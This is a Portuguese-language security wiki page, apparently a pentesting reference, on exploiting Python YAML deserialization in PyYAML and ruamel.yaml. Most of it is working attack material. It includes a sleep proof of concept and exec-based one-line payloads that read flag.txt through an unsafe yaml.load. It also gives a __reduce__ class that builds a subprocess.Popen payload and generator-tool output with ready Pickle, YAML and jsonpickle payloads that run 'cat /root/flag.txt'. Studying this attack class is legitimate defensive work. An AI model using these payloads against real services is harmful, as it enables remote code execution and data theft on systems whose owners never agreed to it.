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# Python Yaml Deserialization

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## Yaml **Deserialization**

As bibliotecas **Yaml** do python também são capazes de **serializar objetos python** e não apenas dados brutos:
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Verifique como a **tupla** não é um tipo de dado bruto e, portanto, foi **serializada**. E o mesmo aconteceu com o **range** (retirado dos builtins).

![](<../../images/image (1040).png>)

**safe_load()** ou **safe_load_all()** usa SafeLoader e **não suporta a desserialização de objetos de classe**. Exemplo de desserialização de objeto de classe:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
O código anterior usou **unsafe_load** para carregar a classe python serializada. Isso ocorre porque na **versão >= 5.1**, não permite **desserializar qualquer classe python serializada ou atributo de classe**, com Loader não especificado em load() ou Loader=SafeLoader.

### Exploit Básico

Exemplo de como **executar um sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Vulnerável .load("\<content>") sem Loader

**Versões antigas** do pyyaml eram vulneráveis a ataques de deserialização se você **não especificasse o Loader** ao carregar algo: `yaml.load(data)`

Você pode encontrar a [**descrição da vulnerabilidade aqui**](https://hackmd.io/@defund/HJZajCVlP)**.** O **exploit** proposto nessa página é:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Ou você também pode usar esta **linha única fornecida por @ishaack**:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}
```
Observe que em **versões recentes** você não pode **mais chamar `.load()`** **sem um `Loader`** e o **`FullLoader`** **não é mais vulnerável** a este ataque.

## RCE

Payloads personalizados podem ser criados usando módulos Python YAML como **PyYAML** ou **ruamel.yaml**. Esses payloads podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Ferramenta para criar Payloads

A ferramenta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) pode ser usada para gerar payloads de deserialização em python para abusar de **Pickle, PyYAML, jsonpickle e ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Referências

- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

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